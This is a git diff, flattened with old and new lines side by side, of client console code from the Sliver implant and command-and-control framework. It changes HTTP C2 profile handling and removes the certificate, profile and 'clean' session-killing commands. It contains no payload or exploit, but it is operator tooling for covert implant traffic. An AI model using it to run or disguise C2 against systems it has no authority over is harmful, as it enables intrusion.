serverHeaders = append(serverHeaders, assets.NameValueProbability{
Name: header.Name,
Value: header.Value,
Probability: int(header.Probability),
Method: header.Method,
})
}
var serverCookies []string
for _, cookie := range profile.ServerConfig.Cookies {
serverCookies = append(serverCookies, cookie.Name)
}
serverConfig := assets.HTTPC2ServerConfig{
RandomVersionHeaders: profile.ServerConfig.RandomVersionHeaders,
Headers: serverHeaders,
Cookies: serverCookies,
}
config := assets.HTTPC2Config{
ImplantConfig: implantConfig,
ServerConfig: serverConfig,
}
return &config, nil
} }
// convert json to protobuf // convert json to protobuf
@@ -330,66 +131,101 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
pathSegments := []*clientpb.HTTPC2PathSegment{} pathSegments := []*clientpb.HTTPC2PathSegment{}
// files // files
for _, file := range config.ImplantConfig.Files { for _, poll := range config.ImplantConfig.PollFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{ pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true, IsFile: true,
Value: file, SegmentType: 0,
Value: poll,
}) })
} }
for _, path := range config.ImplantConfig.Paths { for _, session := range config.ImplantConfig.SessionFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{ pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false, IsFile: true,
Value: path, SegmentType: 1,
Value: session,
}) })
} }
for _, clientHeader := range config.ImplantConfig.Headers { for _, close := range config.ImplantConfig.CloseFiles {
httpC2Headers = append(httpC2Headers, &clientpb.HTTPC2Header{ pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
Method: clientHeader.Method, IsFile: true,
Name: clientHeader.Name, SegmentType: 2,
Value: clientHeader.Value, Value: close,
Probability: int32(clientHeader.Probability),
}) })
} }
for _, urlParameter := range config.ImplantConfig.URLParameters { for _, stager := range config.ImplantConfig.StagerFiles {
httpC2UrlParameters = append(httpC2UrlParameters, &clientpb.HTTPC2URLParameter{ pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
Method: urlParameter.Method, IsFile: true,
Name: urlParameter.Name, SegmentType: 3,
Value: urlParameter.Value, Value: stager,
Probability: int32(urlParameter.Probability), })
}
// paths
for _, poll := range config.ImplantConfig.PollPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 0,
Value: poll,
})
}
for _, session := range config.ImplantConfig.SessionPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 1,
Value: session,
})
}
for _, close := range config.ImplantConfig.ClosePaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 2,
Value: close,
})
}
for _, stager := range config.ImplantConfig.StagerPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 3,
Value: stager,
}) })
} }
implantConfig := &clientpb.HTTPC2ImplantConfig{ implantConfig := &clientpb.HTTPC2ImplantConfig{
UserAgent: config.ImplantConfig.UserAgent, UserAgent: config.ImplantConfig.UserAgent,
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion), ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
MacOSVersion: config.ImplantConfig.MacOSVersion, MacOSVersion: config.ImplantConfig.MacOSVersion,
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars, NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
NonceQueryLength: int32(config.ImplantConfig.NonceQueryLength), ExtraURLParameters: httpC2UrlParameters,
NonceMode: config.ImplantConfig.NonceMode, Headers: httpC2Headers,
ExtraURLParameters: httpC2UrlParameters, MaxFiles: int32(config.ImplantConfig.MaxFiles),
Headers: httpC2Headers, MinFiles: int32(config.ImplantConfig.MinFiles),
MaxFileGen: int32(config.ImplantConfig.MaxFileGen), MaxPaths: int32(config.ImplantConfig.MaxPaths),
MinFileGen: int32(config.ImplantConfig.MinFileGen), MinPaths: int32(config.ImplantConfig.MinFiles),
MaxPathGen: int32(config.ImplantConfig.MaxPathGen), StagerFileExtension: config.ImplantConfig.StagerFileExt,
MinPathGen: int32(config.ImplantConfig.MinPathGen), PollFileExtension: config.ImplantConfig.PollFileExt,
MaxPathLength: int32(config.ImplantConfig.MaxPathLength), StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
MinPathLength: int32(config.ImplantConfig.MinPathLength), SessionFileExtension: config.ImplantConfig.SessionFileExt,
Extensions: config.ImplantConfig.Extensions, CloseFileExtension: config.ImplantConfig.CloseFileExt,
PathSegments: pathSegments, PathSegments: pathSegments,
} }
// Server Config // Server Config
serverHeaders := []*clientpb.HTTPC2Header{} serverHeaders := []*clientpb.HTTPC2Header{}
for _, serverHeader := range config.ServerConfig.Headers { for _, serverHeader := range config.ServerConfig.Headers {
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{ for _, method := range serverHeader.Methods {
Method: serverHeader.Method, serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
Name: serverHeader.Name, Method: method,
Value: serverHeader.Value, Name: serverHeader.Name,
Probability: int32(serverHeader.Probability), Value: serverHeader.Value,
}) Probability: int32(serverHeader.Probability),
})
}
} }
serverCookies := []*clientpb.HTTPC2Cookie{} serverCookies := []*clientpb.HTTPC2Cookie{}
@@ -412,7 +248,7 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
} }
// PrintImplantBuilds - Print the implant builds on the server // PrintImplantBuilds - Print the implant builds on the server
func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient) { func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverConsoleClient) {
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
@@ -432,7 +268,7 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
var serverHeaders []string var serverHeaders []string
for _, header := range profile.ServerConfig.Headers { for _, header := range profile.ServerConfig.Headers {
serverHeaders = append(serverHeaders, header.Name) serverHeaders = append(serverHeaders, header.Value)
} }
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Server Headers", "Server Headers",
@@ -457,7 +293,7 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
var clientHeaders []string var clientHeaders []string
for _, header := range profile.ImplantConfig.Headers { for _, header := range profile.ImplantConfig.Headers {
clientHeaders = append(clientHeaders, header.Name) clientHeaders = append(clientHeaders, header.Value)
} }
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Client Headers", "Client Headers",
@@ -488,139 +324,114 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
"Nonce query arg chars", "Nonce query arg chars",
profile.ImplantConfig.NonceQueryArgChars, profile.ImplantConfig.NonceQueryArgChars,
}) })
tw.AppendRow(table.Row{
"Nonce query length",
profile.ImplantConfig.NonceQueryLength,
})
tw.AppendRow(table.Row{
"Nonce mode",
profile.ImplantConfig.NonceMode,
})
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Max files", "Max files",
profile.ImplantConfig.MaxFileGen, profile.ImplantConfig.MaxFiles,
}) })
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Min files", "Min files",
profile.ImplantConfig.MinFileGen, profile.ImplantConfig.MinFiles,
}) })
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Max paths", "Max paths",
profile.ImplantConfig.MaxPathGen, profile.ImplantConfig.MaxPaths,
}) })
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Min paths", "Min paths",
profile.ImplantConfig.MinPathGen, profile.ImplantConfig.MinPaths,
}) })
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Max path length", "Stager file extension",
profile.ImplantConfig.MaxPathLength, profile.ImplantConfig.StagerFileExtension,
}) })
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Min path length", "Start session file extension",
profile.ImplantConfig.MinPathLength, profile.ImplantConfig.StartSessionFileExtension,
}) })
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"File extensions", "Session file extension",
strings.Join(profile.ImplantConfig.Extensions, ","), profile.ImplantConfig.SessionFileExtension,
})
tw.AppendRow(table.Row{
"Poll file extension",
profile.ImplantConfig.PollFileExtension,
})
tw.AppendRow(table.Row{
"Close file extension",
profile.ImplantConfig.CloseFileExtension,
}) })
var ( var (
paths []string pollPaths []string
files []string pollFiles []string
sessionPaths []string
sessionFiles []string
closePaths []string
closeFiles []string
) )
for _, segment := range profile.ImplantConfig.PathSegments { for _, segment := range profile.ImplantConfig.PathSegments {
if segment.IsFile { if segment.IsFile {
files = append(files, segment.Value) switch segment.SegmentType {
case 0:
pollFiles = append(pollFiles, segment.Value)
case 1:
sessionFiles = append(sessionFiles, segment.Value)
case 2:
closeFiles = append(closeFiles, segment.Value)
}
} else { } else {
paths = append(paths, segment.Value) switch segment.SegmentType {
case 0:
pollPaths = append(pollPaths, segment.Value)
case 1:
sessionPaths = append(sessionPaths, segment.Value)
case 2:
closePaths = append(closePaths, segment.Value)
}
} }
} }
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Paths", "Poll paths",
strings.Join(paths[:], ",")[:50] + "...", strings.Join(pollPaths[:], ","),
}) })
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
"Files", "Poll files",
strings.Join(files[:], ",")[:50] + "...", strings.Join(pollFiles[:], ","),
})
tw.AppendRow(table.Row{
"Session paths",
strings.Join(sessionPaths[:], ","),
})
tw.AppendRow(table.Row{
"Session files",
strings.Join(sessionFiles[:], ","),
})
tw.AppendRow(table.Row{
"Close paths",
strings.Join(closePaths[:], ","),
})
tw.AppendRow(table.Row{
"Close files",
strings.Join(closeFiles[:], ","),
}) })
con.Println(tw.Render()) con.Println(tw.Render())
con.Println("\n") con.Println("\n")
} }
func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) (string, error) { func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
c2profile := "" c2profile := ""
var choices []string var choices []string
for _, c2profile := range c2profiles { for _, c2profile := range c2profiles {
choices = append(choices, c2profile.Name) choices = append(choices, c2profile.Name)
} }
_ = forms.Select("Select a c2 profile", choices, &c2profile) prompt := &survey.Select{
Message: "Select a c2 profile",
if c2profile == "" { Options: choices,
return "", ErrNoSelection
} }
survey.AskOne(prompt, &c2profile, nil)
return c2profile, nil return c2profile
}
func updateC2Profile(template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
// update the template with the urls
var (
paths []string
filenames []string
extensions []string
)
for _, urlPath := range urls {
parsedURL, err := url.Parse(urlPath)
if err != nil {
fmt.Println("Error parsing URL:", err)
continue
}
dir, file := path.Split(parsedURL.Path)
dir = strings.Trim(dir, "/")
if dir != "" {
paths = append(paths, strings.Split(dir, "/")...)
}
if file != "" {
fileName := strings.TrimSuffix(file, filepath.Ext(file))
filenames = append(filenames, fileName)
ext := strings.TrimPrefix(filepath.Ext(file), ".")
if ext != "" {
extensions = append(extensions, ext)
}
}
}
slices.Sort(extensions)
extensions = slices.Compact(extensions)
slices.Sort(paths)
paths = slices.Compact(paths)
slices.Sort(filenames)
filenames = slices.Compact(filenames)
// 5 is arbitrarily used as a minimum value
if len(paths) < 5 {
return nil, fmt.Errorf("got %d paths need at least 5", len(paths))
}
if len(filenames) < 5 {
return nil, fmt.Errorf("got %d paths need at least 5", len(filenames))
}
template.ImplantConfig.Extensions = extensions
template.ImplantConfig.Paths = paths
template.ImplantConfig.Files = filenames
return template, nil
} }
-95
View File
@@ -1,95 +0,0 @@
package c2profiles
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
importC2ProfileCmd := &cobra.Command{
Use: consts.ImportC2ProfileStr,
Short: "Import HTTP C2 profile",
Long: help.GetHelpFor([]string{consts.ImportC2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
ImportC2ProfileCmd(cmd, con, args)
},
}
flags.Bind(consts.ImportC2ProfileStr, false, importC2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
f.StringP("file", "f", "", "Path to C2 configuration file to import")
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
})
completers.RegisterLocalFilePathFlagCompletion(importC2ProfileCmd, "file")
exportC2ProfileCmd := &cobra.Command{
Use: consts.ExportC2ProfileStr,
Short: "Export HTTP C2 profile",
Long: help.GetHelpFor([]string{consts.ExportC2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
ExportC2ProfileCmd(cmd, con, args)
},
}
flags.Bind(consts.ExportC2ProfileStr, false, exportC2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
})
completers.RegisterLocalFilePathFlagCompletion(exportC2ProfileCmd, "file")
flags.BindFlagCompletions(exportC2ProfileCmd, func(comp *carapace.ActionMap) {
(*comp)["name"] = generate.HTTPC2Completer(con)
})
C2ProfileCmd := &cobra.Command{
Use: consts.C2ProfileStr,
Short: "Display C2 profile details",
Long: help.GetHelpFor([]string{consts.C2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
C2ProfileCmd(cmd, con, args)
},
GroupID: consts.NetworkHelpGroup,
}
flags.Bind(consts.C2ProfileStr, true, C2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile to display")
})
flags.BindFlagCompletions(C2ProfileCmd, func(comp *carapace.ActionMap) {
(*comp)["name"] = generate.HTTPC2Completer(con)
})
generateC2ProfileCmd := &cobra.Command{
Use: consts.C2GenerateStr,
Short: "Generate a C2 Profile from a list of urls",
Long: help.GetHelpFor([]string{consts.C2ProfileStr + "." + consts.C2GenerateStr}),
Run: func(cmd *cobra.Command, args []string) {
GenerateC2ProfileCmd(cmd, con, args)
},
}
flags.Bind(consts.GenerateStr, false, generateC2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("file", "f", "", "Path to file containing URL list, /hello/there.txt one per line")
f.BoolP("import", "i", false, "Import the generated profile after creation")
f.StringP("name", "n", "", "HTTP C2 Profile name to save C2Profile as")
f.StringP("template", "t", consts.DefaultC2Profile, "HTTP C2 Profile to use as a template for the new profile")
})
completers.RegisterLocalFilePathFlagCompletion(generateC2ProfileCmd, "file")
flags.BindFlagCompletions(generateC2ProfileCmd, func(comp *carapace.ActionMap) {
(*comp)["template"] = generate.HTTPC2Completer(con)
})
C2ProfileCmd.AddCommand(generateC2ProfileCmd)
C2ProfileCmd.AddCommand(importC2ProfileCmd)
C2ProfileCmd.AddCommand(exportC2ProfileCmd)
return []*cobra.Command{
C2ProfileCmd,
}
}
-12
View File
@@ -1,12 +0,0 @@
# client/command/certificates
## Overview
Implements the 'certificates' command group for the Sliver client console.
## Go Files
- `authorities.go` – Retrieves certificate authority metadata from the server and prints it in a table.
- `completions.go` – Provides tab completion helpers for certificate common names.
- `certificates.go` – Retrieves certificate metadata from the server, formats expiration status, and prints results to the console.
- `commands.go` – Registers the certificates command and binds the flags needed to query certificate inventories.
@@ -1,89 +0,0 @@
package certificates
import (
"context"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"golang.org/x/term"
)
func CertificateAuthoritiesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
authorityInfo, err := con.Rpc.GetCertificateAuthorityInfo(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("could not get certificate authority information from database: %s", err.Error())
return
}
printCertificateAuthorityInfo(con, authorityInfo.Info)
}
func printCertificateAuthorityInfo(con *console.SliverClient, authData []*clientpb.CertificateAuthorityData) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
if len(authData) == 0 {
con.PrintWarnf("There are no certificate authorities in the database.\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
tw.AppendHeader(table.Row{
"ID",
"Common Name",
"Creation Time",
"Authority Type",
"Key Algorithm",
"Validity Start",
"Expires",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Common Name",
"Expires",
})
}
for _, authority := range authData {
rowStyle := console.StyleNormal
expiry, err := time.Parse(timeFormat, authority.ValidityExpiry)
if err == nil {
rowStyle = checkCertExpiry(expiry)
}
if wideTermWidth {
tw.AppendRow(table.Row{
rowStyle.Render(authority.ID),
rowStyle.Render(authority.CN),
rowStyle.Render(authority.CreationTime),
rowStyle.Render(authority.Type),
rowStyle.Render(authority.KeyAlgorithm),
rowStyle.Render(authority.ValidityStart),
rowStyle.Render(authority.ValidityExpiry),
})
} else {
tw.AppendRow(table.Row{
rowStyle.Render(authority.ID),
rowStyle.Render(authority.CN),
rowStyle.Render(authority.ValidityExpiry),
})
}
}
tw.SortBy([]table.SortBy{{Name: "Expires", Mode: table.Dsc}})
con.Printf("%s\n", tw.Render())
}
-180
View File
@@ -1,180 +0,0 @@
package certificates
import (
"context"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"golang.org/x/term"
)
/*
Sliver Implant Framework
Copyright (C) 2024 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
const (
timeFormat = "2006-01-02 15:04:05 UTC-0700"
)
// Defining the transport filters
const (
MTLSTransport uint32 = 1 << iota
HTTPSTransport
AllTransports
)
// Defining the role filters
const (
// Provide some separation between the options so that we do not have duplicate combinations
ServerRole uint32 = 8 << iota
ImplantRole
AllRoles
)
func CertificateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
// Since we are sending this value in a protobuf, we will give it a fixed bit size
// 32 is the smallest we can go
var chosenOptions uint32
if cmd.Flags().Changed("mtls") {
if cmd.Flags().Changed("https") {
chosenOptions = AllTransports
} else {
chosenOptions = MTLSTransport
}
} else if cmd.Flags().Changed("https") {
chosenOptions = HTTPSTransport
} else {
chosenOptions = AllTransports
}
if cmd.Flags().Changed("server") {
if cmd.Flags().Changed("implant") {
chosenOptions |= AllRoles
} else {
chosenOptions |= ServerRole
}
} else if cmd.Flags().Changed("implant") {
chosenOptions |= ImplantRole
} else {
chosenOptions |= AllRoles
}
request := &clientpb.CertificatesReq{
CategoryFilters: chosenOptions,
}
request.CN, _ = cmd.Flags().GetString("cn")
// Ask the server for information about certificates
certificateInfo, err := con.Rpc.GetCertificateInfo(context.Background(), request)
if err != nil {
con.PrintErrorf("could not get certificate information from database: %s", err.Error())
return
}
printCertificateInfo(con, certificateInfo.Info)
}
func checkCertExpiry(expiryTime time.Time) console.TextStyle {
if expiryTime.Before(time.Now()) || expiryTime.Equal(time.Now()) {
return console.StyleBoldRed
}
// One week is 168 hours - this is bad
if expiryTime.Before(time.Now().Add(168 * time.Hour)) {
return console.StyleBoldRed
}
// One month is approximately 730 hours - this is a warning
if expiryTime.Before(time.Now().Add(730 * time.Hour)) {
return console.StyleBoldOrange
}
return console.StyleNormal
}
func printCertificateInfo(con *console.SliverClient, certData []*clientpb.CertificateData) {
// Get the terminal width
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
if len(certData) == 0 {
con.PrintWarnf("There are no certificates in the database matching the given parameters.\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
tw.AppendHeader(table.Row{
"ID",
"Common Name",
"Creation Time",
"Certificate Type",
"Key Algorithm",
"Validity Start",
"Expires",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Common Name",
"Expires",
})
}
for _, cert := range certData {
rowStyle := console.StyleNormal
expiry, err := time.Parse(timeFormat, cert.ValidityExpiry)
// This should not error out, but if it does, the row will not be colored
if err == nil {
rowStyle = checkCertExpiry(expiry)
}
if wideTermWidth {
tw.AppendRow(table.Row{
rowStyle.Render(cert.ID),
rowStyle.Render(cert.CN),
rowStyle.Render(cert.CreationTime),
rowStyle.Render(cert.Type),
rowStyle.Render(cert.KeyAlgorithm),
rowStyle.Render(cert.ValidityStart),
rowStyle.Render(cert.ValidityExpiry),
})
} else {
tw.AppendRow(table.Row{
rowStyle.Render(cert.ID),
rowStyle.Render(cert.CN),
rowStyle.Render(cert.ValidityExpiry),
})
}
}
tw.SortBy([]table.SortBy{{Name: "Expires", Mode: table.Dsc}})
con.Printf("%s\n", tw.Render())
}
-65
View File
@@ -1,65 +0,0 @@
package certificates
/*
Sliver Implant Framework
Copyright (C) 2024 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
func Commands(con *console.SliverClient) []*cobra.Command {
certificatesCmd := &cobra.Command{
Use: consts.CertificatesStr,
Short: "Certificate management",
Long: help.GetHelpFor([]string{consts.CertificatesStr}),
Run: func(cmd *cobra.Command, args []string) {
CertificateInfoCmd(cmd, con, args)
},
GroupID: consts.GenericHelpGroup,
}
flags.Bind(consts.CertificatesStr, false, certificatesCmd, func(f *pflag.FlagSet) {
f.BoolP("mtls", "m", false, "Show MTLS certificates")
f.BoolP("https", "p", false, "Show HTTPS certificates")
f.BoolP("implant", "i", false, "Show implant certificates")
f.BoolP("server", "s", false, "Show server certificates")
f.StringP("cn", "c", "", "Show certificate information for a provided common name")
})
flags.BindFlagCompletions(certificatesCmd, func(comp *carapace.ActionMap) {
(*comp)["cn"] = CertificateCommonNameCompleter(con)
})
registerCertificateCNFlagCompletion(certificatesCmd, "cn", con)
authoritiesCmd := &cobra.Command{
Use: "authorities",
Short: "List certificate authorities",
Run: func(cmd *cobra.Command, args []string) {
CertificateAuthoritiesCmd(cmd, con, args)
},
}
certificatesCmd.AddCommand(authoritiesCmd)
return []*cobra.Command{
certificatesCmd,
}
}
@@ -1,96 +0,0 @@
package certificates
import (
"context"
"sort"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
)
// CertificateCommonNameCompleter completes common names for stored certificates.
func CertificateCommonNameCompleter(con *console.SliverClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
if con == nil || con.Rpc == nil {
return carapace.ActionMessage("not connected")
}
values, err := certificateCommonNameValues(con)
if err != nil {
return carapace.ActionMessage("failed to list certificates %s", err)
}
if len(values) == 0 {
return carapace.ActionMessage("no certificates")
}
return carapace.ActionValues(values...).Tag("common name").Usage("certificate common name")
})
}
func registerCertificateCNFlagCompletion(cmd *cobra.Command, name string, con *console.SliverClient) {
if cmd == nil {
return
}
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
return
}
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
return
}
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, toComplete string) ([]string, cobra.ShellCompDirective) {
values, err := certificateCommonNameValues(con)
if err != nil {
return nil, cobra.ShellCompDirectiveNoFileComp
}
return filterCompletionValues(values, toComplete), cobra.ShellCompDirectiveNoFileComp
})
}
func certificateCommonNameValues(con *console.SliverClient) ([]string, error) {
if con == nil || con.Rpc == nil {
return nil, nil
}
certInfo, err := con.Rpc.GetCertificateInfo(context.Background(), &clientpb.CertificatesReq{
CategoryFilters: AllTransports | AllRoles,
})
if err != nil {
return nil, err
}
unique := map[string]struct{}{}
for _, cert := range certInfo.Info {
if cert.CN == "" {
continue
}
unique[cert.CN] = struct{}{}
}
values := make([]string, 0, len(unique))
for name := range unique {
values = append(values, name)
}
sort.Strings(values)
return values, nil
}
func filterCompletionValues(values []string, prefix string) []string {
if prefix == "" {
return values
}
filtered := make([]string, 0, len(values))
for _, value := range values {
candidate := value
if tab := strings.IndexByte(value, '\t'); tab >= 0 {
candidate = value[:tab]
}
if strings.HasPrefix(candidate, prefix) {
filtered = append(filtered, value)
}
}
return filtered
}
-9
View File
@@ -1,9 +0,0 @@
# client/command/clean
## Overview
Implements the 'clean' command group for the Sliver client console.
## Go Files
- `clean.go` – Defines the clean command and its helpers that purge local build artifacts, cached profiles, and stale sessions.
-140
View File
@@ -1,140 +0,0 @@
package clean
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
)
// CleanCmd - Remove all profiles, beacons, sessions and implant builds (Builds and logs will still exist on disk in .sliver)
func CleanCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.Printf("This command will kill and remove all sessions, beacons and profiles \n")
confirm := false
_ = forms.Confirm("Are you sure you want to destroy everything?", &confirm)
if !confirm {
return
}
err := removeSessionsAndBeacons(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = removeImplantBuilds(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = removeProfiles(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("All done !\n")
}
func removeImplantBuilds(con *console.SliverClient) error {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
return err
}
for name, _ := range builds.Configs {
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
Name: name,
})
if err != nil {
return err
}
}
return nil
}
func removeProfiles(con *console.SliverClient) error {
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
return err
}
for _, profile := range profiles.Profiles {
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
Name: profile.Name,
})
if err != nil {
return err
}
}
return nil
}
func removeSessionsAndBeacons(con *console.SliverClient) error {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return err
}
for _, session := range sessions.Sessions {
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: flags.DefaultTimeout,
},
Force: false,
})
if err != nil {
return err
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return err
}
for _, beacon := range beacons.Beacons {
_, err = con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
return err
}
}
return nil
}
// Commands returns the `exit` command.
func Command(con *console.SliverClient) []*cobra.Command {
return []*cobra.Command{{
Use: "clean",
Short: "Remove all profiles, beacons, sessions, implant builds and HTTP profiles (Builds and logs will still exist on disk in .sliver)",
Run: func(cmd *cobra.Command, args []string) {
CleanCmd(cmd, con, args)
},
GroupID: constants.GenericHelpGroup,
}}
}
+12 -69
View File
@@ -21,18 +21,19 @@ package command
import ( import (
"strings" "strings"
client "github.com/bishopfox/sliver/client/console"
"github.com/reeflective/console" "github.com/reeflective/console"
"github.com/rsteube/carapace" "github.com/rsteube/carapace"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/spf13/pflag" "github.com/spf13/pflag"
) )
// Bind is a convenience function to bind flags to a given command. const defaultTimeout = 60
// Flags is a convenience function to bind flags to a given command.
// name - The name of the flag set (can be empty). // name - The name of the flag set (can be empty).
// cmd - The command to which the flags should be bound. // cmd - The command to which the flags should be bound.
// flags - A function exposing the flag set through which flags are declared. // flags - A function exposing the flag set through which flags are declared.
